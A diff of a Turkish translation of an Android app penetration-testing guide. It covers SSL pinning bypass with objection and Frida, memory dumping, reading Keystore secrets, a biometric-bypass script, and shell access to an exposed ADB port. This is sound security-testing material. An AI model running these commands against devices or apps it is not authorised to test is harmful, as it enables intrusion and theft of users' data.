- **Özel bilgilerin sızması**, uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken, diğer işlemler için güvensiz kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz.
|
||||
- **Özel bilgilerin sızması** güvenli kanallar aracılığıyla kimlik doğrulaması yapan uygulamalar, ancak diğer işlemler için güvenli olmayan kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz.
|
||||
|
||||
#### Sertifika Doğrulama
|
||||
|
||||
**Sertifika doğrulama** üzerine odaklanacağız. Sunucunun sertifikasının bütünlüğü, güvenliği artırmak için doğrulanmalıdır. Bu, güvensiz TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallar üzerinden iletilmesinin önemli riskler oluşturabileceği için kritik öneme sahiptir. Sunucu sertifikalarını doğrulama ve zayıflıkları giderme ile ilgili ayrıntılı adımlar için, [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlamaktadır.
|
||||
**Sertifika doğrulama** üzerine odaklanacağız. Sunucunun sertifikasının bütünlüğü, güvenliği artırmak için doğrulanmalıdır. Bu, güvensiz TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallar üzerinden iletilmesi önemli riskler oluşturabileceğinden kritik öneme sahiptir. Sunucu sertifikalarını doğrulama ve zayıflıkları giderme ile ilgili ayrıntılı adımlar için, [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlamaktadır.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
@ -416,11 +416,11 @@ SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bi
|
||||
|
||||
#### Trafik İncelemesi
|
||||
|
||||
HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gereklidir (örneğin, Burp). Bu sertifikayı yüklemeden, şifreli trafik proxy üzerinden görünmeyebilir. Özel CA sertifikası yükleme rehberi için, [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gereklidir (örneğin, Burp). Bu sertifika yüklenmeden, şifreli trafik proxy üzerinden görünmeyebilir. Özel CA sertifikası yükleme rehberi için, [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
**API Seviye 24 ve üzeri** hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Ağ Güvenlik Yapılandırmasında değişiklikler gerektirir. Bu adım, şifreli trafiği incelemek için kritik öneme sahiptir. Ağ Güvenlik Yapılandırmasını değiştirme talimatları için, [**bu eğitime başvurun**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
**Flutter** kullanılıyorsa, [**bu sayfadaki**](flutter.md) talimatları takip etmeniz gerekir. Bunun nedeni, sertifikayı depoya eklemenin işe yaramayacak olmasıdır, çünkü Flutter'ın kendi geçerli CA listesi vardır.
|
||||
**Flutter** kullanılıyorsa, [**bu sayfadaki**](flutter.md) talimatları takip etmeniz gerekir. Bunun nedeni, sertifikayı depoya eklemenin işe yaramayacak olmasıdır çünkü Flutter'ın kendi geçerli CA listesi vardır.
|
||||
|
||||
#### SSL Pinning'i Aşma
|
||||
|
||||
@ -428,8 +428,8 @@ SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu aşmak gere
|
||||
|
||||
- **apk'yi otomatik olarak değiştirerek** SSLPinning'i **aşmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi avantajı, SSL Pinning'i aşmak için root'a ihtiyaç duymamanızdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir.
|
||||
- Bu korumayı aşmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma rehberiniz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- **SSL Pinning'i otomatik olarak aşmak için** [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- **MobSF dinamik analizi** kullanarak da **SSL Pinning'i otomatik olarak aşmayı** deneyebilirsiniz (aşağıda açıklanmıştır).
|
||||
- **SSL Pinning'i otomatik olarak aşmayı** denemek için [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- **SSL Pinning'i otomatik olarak aşmayı** denemek için **MobSF dinamik analizi** (aşağıda açıklanmıştır) kullanabilirsiniz.
|
||||
- Hala yakalamadığınız bazı trafiğin olduğunu düşünüyorsanız, trafiği **iptables kullanarak burp'a yönlendirmeyi** deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Yaygın Web Zayıflıklarını Arama
|
||||
@ -439,18 +439,18 @@ Uygulama içinde yaygın web zayıflıklarını da aramak önemlidir. Bu zayıfl
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re), geliştiriciler, ters mühendisler ve güvenlik araştırmacıları için dinamik bir enstrümantasyon aracıdır.\
|
||||
**Çalışan uygulamaya erişebilir ve çalışma zamanında yöntemleri bağlayarak davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodlar çalıştırabilirsiniz...**\
|
||||
**Çalışan uygulamaya erişebilir ve çalışma zamanında yöntemleri yakalayarak davranışları değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodlar çalıştırabilirsiniz...**\
|
||||
Android uygulamalarını pentest etmek istiyorsanız, Frida'yı nasıl kullanacağınızı bilmelisiniz.
|
||||
|
||||
- Frida'yı nasıl kullanacağınızı öğrenin: [**Frida eğitimi**](frida-tutorial/index.html)
|
||||
- Frida ile eylemler için bazı "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection, Frida kullanımını otomatikleştirmek için harika: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Burada bazı Harika Frida betikleri bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Frida'yı, [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını aşmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs))
|
||||
- Ojection, Frida kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Burada bazı harika Frida betikleri bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Frida'yı [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını aşmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Belleği Dökme - Fridump**
|
||||
|
||||
Uygulamanın, saklamaması gereken hassas bilgileri (şifreler veya mnemonikler gibi) bellekte saklayıp saklamadığını kontrol edin.
|
||||
Uygulamanın, saklamaması gereken hassas bilgileri bellekte saklayıp saklamadığını kontrol edin, örneğin şifreler veya mnemonikler.
|
||||
|
||||
[**Fridump3**](https://github.com/rootbsd/fridump3) kullanarak uygulamanın belleğini dökebilirsiniz:
|
||||
```bash
|
||||
@ -467,11 +467,11 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Keystore'daki Hassas Veriler**
|
||||
|
||||
Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişmek mümkündür**. Uygulamalar burada genellikle **hassas verileri düz metin olarak** sakladığından, pentestler bunun için root kullanıcı olarak kontrol edilmelidir veya cihaza fiziksel erişimi olan birisi bu verileri çalabilir.
|
||||
Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişmek mümkündür**. Uygulamalar burada genellikle **hassas verileri düz metin olarak** sakladığından, pentestlerin bunu root kullanıcı olarak kontrol etmesi gerekir; aksi takdirde, cihaza fiziksel erişimi olan birisi bu verileri çalabilir.
|
||||
|
||||
Bir uygulama verileri keystore'da saklasa bile, verilerin şifrelenmiş olması gerekir.
|
||||
|
||||
Keystore içindeki verilere erişmek için bu Frida script'ini kullanabilirsiniz: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
Keystore içindeki verilere erişmek için bu Frida betiğini kullanabilirsiniz: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
@ -483,13 +483,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
```
|
||||
### **Arka Plan Görüntüleri**
|
||||
|
||||
Bir uygulamayı arka plana aldığınızda, Android **uygulamanın bir anlık görüntüsünü** saklar, böylece ön plana geri döndüğünde, uygulama daha hızlı yükleniyormuş gibi görünmesi için görüntüyü yüklemeye başlar.
|
||||
Bir uygulamayı arka plana aldığınızda, Android **uygulamanın bir anlık görüntüsünü** saklar, böylece ön plana geri döndüğünde, uygulama yüklenmeden önce görüntüyü yüklemeye başlar, böylece uygulamanın daha hızlı yüklendiği izlenimi verir.
|
||||
|
||||
Ancak, bu anlık görüntü **hassas bilgiler** içeriyorsa, anlık görüntüye erişimi olan biri bu bilgileri **çalıp alabilir** (erişmek için root'a ihtiyacınız olduğunu unutmayın).
|
||||
Ancak, bu anlık görüntü **hassas bilgiler** içeriyorsa, anlık görüntüye erişimi olan biri bu bilgileri **çalıp alabilir** (erişim için root gereklidir).
|
||||
|
||||
Anlık görüntüler genellikle şurada saklanır: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, bu da ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller.
|
||||
Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -499,14 +499,14 @@ Bu araç, dinamik analiz sırasında farklı araçları yönetmenize yardımcı
|
||||
|
||||
### Intent Enjeksiyonu
|
||||
|
||||
Geliştiriciler genellikle bu Intents'i işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri ve hizmetleri oluştururlar; bu da riskli olabilir.
|
||||
Geliştiriciler genellikle bu Intents'i işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri, hizmetleri ve yayın alıcıları oluştururlar; bu da riskli olabilir.
|
||||
|
||||
Tehlike, saldırganların bu Intents'i yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; bu, potansiyel olarak kötü niyetli Intent enjeksiyonlarına yol açabilir.
|
||||
|
||||
### Temel Çıkarımlar
|
||||
|
||||
- **Intent Enjeksiyonu**, webin Açık Yönlendirme sorununa benzer.
|
||||
- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri yürütmek için yönlendirilebilir.
|
||||
- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri gerçekleştirmek için yönlendirilebilir.
|
||||
- Dışa aktarılmamış bileşenleri ve içerik sağlayıcılarını saldırganlara açabilir.
|
||||
- `WebView`’in URL'den `Intent` dönüşümü, istenmeyen eylemleri kolaylaştırabilir.
|
||||
|
||||
@ -515,8 +515,8 @@ Tehlike, saldırganların bu Intents'i yanlış yönlendirerek dışa aktarılma
|
||||
Bu tür güvenlik açıkları hakkında Web'den haberdar olmalısınız. Bir Android uygulamasında bu güvenlik açıklarına özellikle dikkat etmelisiniz:
|
||||
|
||||
- **SQL Enjeksiyonu:** Dinamik sorgular veya İçerik Sağlayıcılarla çalışırken, parametreli sorgular kullandığınızdan emin olun.
|
||||
- **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışıdır). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
|
||||
- **Yerel Dosya Dahil Etme:** WebView'lerin dosya sistemine erişimi devre dışı olmalıdır (varsayılan olarak etkindir) - `(webview.getSettings().setAllowFileAccess(false);)`. [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
|
||||
- **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı bırakıldığını doğrulayın (varsayılan olarak devre dışıdır). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
|
||||
- **Yerel Dosya Dahil Etme:** WebView'lerin dosya sistemine erişimi devre dışı bırakılmalıdır (varsayılan olarak etkindir) - `(webview.getSettings().setAllowFileAccess(false);)`. [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
|
||||
- **Sonsuz çerezler**: Birçok durumda, android uygulaması oturumu bitirdiğinde çerez iptal edilmez veya hatta diske kaydedilebilir.
|
||||
- [**Çerezlerde Güvenli Bayrak**](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
@ -538,22 +538,22 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
MobSF, **Android**(apk)**, IOS**(ipa) **ve Windows**(apx) uygulamalarını (_Windows uygulamaları, Windows ana bilgisayarında kurulu bir MobSF'den analiz edilmelidir_) analiz edebilir.\
|
||||
Ayrıca, bir **Android** veya **IOS** uygulamasının kaynak koduyla bir **ZIP** dosyası oluşturursanız (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIP dosyası oluşturun), bunu da analiz edebilecektir.
|
||||
|
||||
MobSF ayrıca **diff/Compare** analizine ve **VirusTotal** entegrasyonuna olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasına ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Ayrıca `VT_UPLOAD`'ı `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**.
|
||||
MobSF ayrıca **diff/karşılaştırma** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = <API anahtarınız>` `VT_UPLOAD = TRUE`). Ayrıca `VT_UPLOAD`'u `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**.
|
||||
|
||||
### MobSF ile Yardımlı Dinamik Analiz
|
||||
|
||||
**MobSF**, **Android** için **dinamik analiz** konusunda da çok yardımcı olabilir, ancak bu durumda MobSF ve **genymotion**'ı ana bilgisayarınıza kurmanız gerekecek (bir VM veya Docker çalışmayacaktır). _Not: Öncelikle **genymotion'da bir VM başlatmalısınız** ve **sonra MobSF'yi başlatmalısınız.**_\
|
||||
**MobSF dinamik analizörü** şunları yapabilir:
|
||||
|
||||
- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini elde etmek için "**Exported Activity Tester**" butonuna basmanız gerekir.
|
||||
- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalanan veriler, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini elde etmek için "**Exported Activity Tester**" butonuna basmanız gerekir.
|
||||
- **HTTPS trafiğini yakalama**
|
||||
- **Çalışma zamanı** **bilgilerini** elde etmek için **Frida** kullanma
|
||||
|
||||
Android **sürümleri > 5** için, **Frida**'yı **otomatik olarak başlatacak** ve trafiği **yakalamak** için global **proxy** ayarlarını ayarlayacaktır. Sadece test edilen uygulamadan gelen trafiği yakalayacaktır.
|
||||
Android **sürümleri > 5**'ten itibaren, **Frida**'yı **otomatik olarak başlatacak** ve trafiği **yakalamak** için global **proxy** ayarlarını ayarlayacaktır. Sadece test edilen uygulamadan gelen trafiği yakalayacaktır.
|
||||
|
||||
**Frida**
|
||||
|
||||
Varsayılan olarak, **SSL pinning**'i, **root tespiti** ve **hata ayıklayıcı tespiti** atlamak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\
|
||||
Varsayılan olarak, **SSL pinning**'i **bypass** etmek, **root tespiti** ve **hata ayıklayıcı tespiti** yapmak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\
|
||||
MobSF ayrıca **dışa aktarılan etkinlikleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**.
|
||||
|
||||
Dinamik testi **başlatmak** için yeşil butona basın: "**Start Instrumentation**". Frida script'leri tarafından üretilen günlükleri görmek için "**Frida Live Logs**" butonuna basın ve bağlı yöntemlere yapılan tüm çağrıları, geçirilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" butonuna basın (bu, "Start Instrumentation" butonuna bastıktan sonra görünecektir).\
|
||||
@ -563,12 +563,12 @@ MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize olanak tanır (Frida
|
||||
|
||||
Ayrıca, bazı Yardımcı Frida işlevsellikleriniz var:
|
||||
|
||||
- **Yüklenen Sınıfları Sayma**: Tüm yüklenen sınıfları yazdırır
|
||||
- **Dizeleri Yakalama**: Uygulamayı kullanırken tüm yakalanan dizeleri yazdırır (çok gürültülü)
|
||||
- **Dize Karşılaştırmalarını Yakalama**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** gösterecek ve sonucun True veya False olup olmadığını belirtecektir.
|
||||
- **Sınıf Yöntemlerini Sayma**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdıracaktır.
|
||||
- **Sınıf Deseni Arama**: Desene göre sınıfları arama
|
||||
- **Sınıf Yöntemlerini İzleme**: **Bütün bir sınıfı izleme** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görme). Unutmayın ki varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler.
|
||||
- **Yüklenen Sınıfları Listele**: Tüm yüklenen sınıfları yazdırır
|
||||
- **Dizeleri Yakala**: Uygulama kullanılırken tüm yakalanan dizeleri yazdırır (çok gürültülü)
|
||||
- **Dize Karşılaştırmalarını Yakala**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** gösterecek ve sonucun True veya False olup olmadığını belirtecektir.
|
||||
- **Sınıf Yöntemlerini Listele**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdıracaktır.
|
||||
- **Sınıf Deseni Ara**: Desene göre sınıfları arar
|
||||
- **Sınıf Yöntemlerini İzle**: **Bütün bir sınıfı izler** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görün). Unutmayın ki varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler.
|
||||
|
||||
Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Instrumentation**" butonuna basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz.
|
||||
|
||||
@ -664,7 +664,7 @@ androbugs.exe -f [APK file]
|
||||
|
||||
Tespit, uygulamanın Dalvik bytecode'unun **statik analizi** ile gerçekleştirilir ve bu, **Smali** olarak temsil edilir; [`androguard`](https://github.com/androguard/androguard) kütüphanesi kullanılır.
|
||||
|
||||
Bu araç, aşağıdaki gibi **"kötü" uygulamaların yaygın davranışlarını** arar: Telefon kimliklerinin sızdırılması, Ses/video akışının kesilmesi, PIM verilerinin değiştirilmesi, Rastgele kod yürütme...
|
||||
Bu araç, aşağıdaki gibi **"kötü" uygulamaların yaygın davranışlarını** arar: Telefon kimliklerinin sızdırılması, Ses/görüntü akışının kesilmesi, PIM verilerinin değiştirilmesi, Rastgele kod yürütme...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -680,7 +680,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
- APK'ları analiz etmek için: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- APK'den özel bilgileri regex kullanarak çıkarmak.
|
||||
- Manifest'i analiz etmek.
|
||||
- Bulunan alan adlarını analiz etmek için: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Bulunan alanları analiz etmek için: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- APK'yi [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek
|
||||
|
||||
### Koodous
|
||||
@ -693,7 +693,7 @@ Kodu obfuscate etmek için kullandığınız hizmet ve yapılandırmaya bağlı
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
[Wikipedia'dan](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**, Java kodunu küçülten, optimize eden ve obfuscate eden açık kaynaklı bir komut satırı aracıdır. Bytecode'u optimize edebilir ve kullanılmayan talimatları tespit edip kaldırabilir. ProGuard, ücretsiz bir yazılımdır ve GNU Genel Kamu Lisansı, sürüm 2 altında dağıtılmaktadır.
|
||||
[Wikipedia'dan](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**, Java kodunu küçülten, optimize eden ve obfuscate eden açık kaynaklı bir komut satırı aracıdır. Bytecode'u optimize etmenin yanı sıra kullanılmayan talimatları tespit edip kaldırabilir. ProGuard, ücretsiz bir yazılımdır ve GNU Genel Kamu Lisansı, sürüm 2 altında dağıtılmaktadır.
|
||||
|
||||
ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulama yayın modunda derlenirken çalışır.
|
||||
|
||||
@ -707,11 +707,11 @@ APK'yi deşifre etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/dex
|
||||
- Sonucu deşifre etmek için FilterInputStream'den türetilen bir sınıfa beslemek;
|
||||
- Bir tersine mühendislik uzmanının birkaç dakikasını boşa harcamak için gereksiz obfuscation yapmak;
|
||||
- Deşifre edilmiş sonucu bir ZipInputStream'e beslemek ve bir DEX dosyası almak;
|
||||
- Son olarak, `loadDex` yöntemi kullanarak elde edilen DEX'i bir Kaynak olarak yüklemek.
|
||||
- Son olarak, elde edilen DEX'i `loadDex` yöntemi kullanarak bir Kaynak olarak yüklemek.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard, Android obfuscation araçları tarafından gerçekleştirilen obfuscation sürecini tersine çevirir. Bu, kod denetimi ve kütüphaneleri tahmin etme gibi birçok güvenlik analizini mümkün kılar.**
|
||||
**DeGuard, Android obfuscation araçları tarafından gerçekleştirilen obfuscation sürecini tersine çevirir. Bu, kod incelemesi ve kütüphaneleri tahmin etme gibi birçok güvenlik analizini mümkün kılar.**
|
||||
|
||||
Obfuscate edilmiş bir APK'yı platformlarına yükleyebilirsiniz.
|
||||
|
||||
@ -721,23 +721,23 @@ Bu, Android uygulamalarındaki potansiyel güvenlik açıklarını bulmak ve And
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
Bu, **genel bir android deobfuscator'dır.** Simplify, bir uygulamayı **sanallaştırarak çalıştırır** ve davranışını anlamaya çalışır, ardından **kodun optimize edilmesini** sağlar, böylece aynı şekilde davranır ancak bir insanın anlaması daha kolaydır. Her optimizasyon türü basit ve genel olduğundan, kullanılan obfuscation türü ne olursa olsun önemli değildir.
|
||||
Bu, **genel bir android deobfuscator'dır.** Simplify, bir uygulamayı **sanallaştırarak çalıştırır** ve davranışını anlamaya çalışır, ardından **kodun optimize edilmesini** sağlar, böylece aynı şekilde davranır ancak bir insanın anlaması daha kolaydır. Her optimizasyon türü basit ve genel olduğundan, kullanılan obfuscation türü önemli değildir.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD, **bir APK'nın nasıl yapıldığını** hakkında bilgi verir. Birçok **derleyici**, **paketleyici**, **obfuscator** ve diğer garip şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir.
|
||||
APKiD, **bir APK'nın nasıl yapıldığını** size bildirir. Birçok **derleyici**, **paketleyici**, **obfuscator** ve diğer garip şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir.
|
||||
|
||||
### Manual
|
||||
|
||||
[Özel obfuscation'ı nasıl tersine mühendislik yapacağınızı öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
## Laboratuvarlar
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b, ters mühendislik ve kötü amaçlı yazılım analizi için farklı güvenlik uzmanları ve araştırmacılardan en son çerçeve, eğitimler ve laboratuvarları içeren ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir.
|
||||
AndroL4b, ters mühendislik ve kötü amaçlı yazılım analizi için farklı güvenlik uzmanları ve araştırmacılardan en son çerçeve, eğitim ve laboratuvar koleksiyonunu içeren ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir.
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Harika bir kaynak listesi
|
||||
@ -746,7 +746,7 @@ AndroL4b, ters mühendislik ve kötü amaçlı yazılım analizi için farklı g
|
||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
|
||||
## Yet to try
|
||||
## Denemek için
|
||||
|
||||
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
@ -18,7 +18,7 @@ PORT STATE SERVICE VERSION
|
||||
```
|
||||
## Bağlan
|
||||
|
||||
Eğer ADB'yi açık ve erişilebilir bulursanız, hızlıca bağlanmayı ve saymayı deneyin:
|
||||
Eğer ADB'yi açık ve erişilebilir bulursanız, hızlıca bağlanmayı ve listelemeyi deneyin:
|
||||
```bash
|
||||
adb connect <ip>[:<port>] # Default is 5555 for classic mode
|
||||
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
|
||||
@ -26,10 +26,10 @@ adb shell # Get an interactive shell (uid usually shell)
|
||||
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
|
||||
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
|
||||
```
|
||||
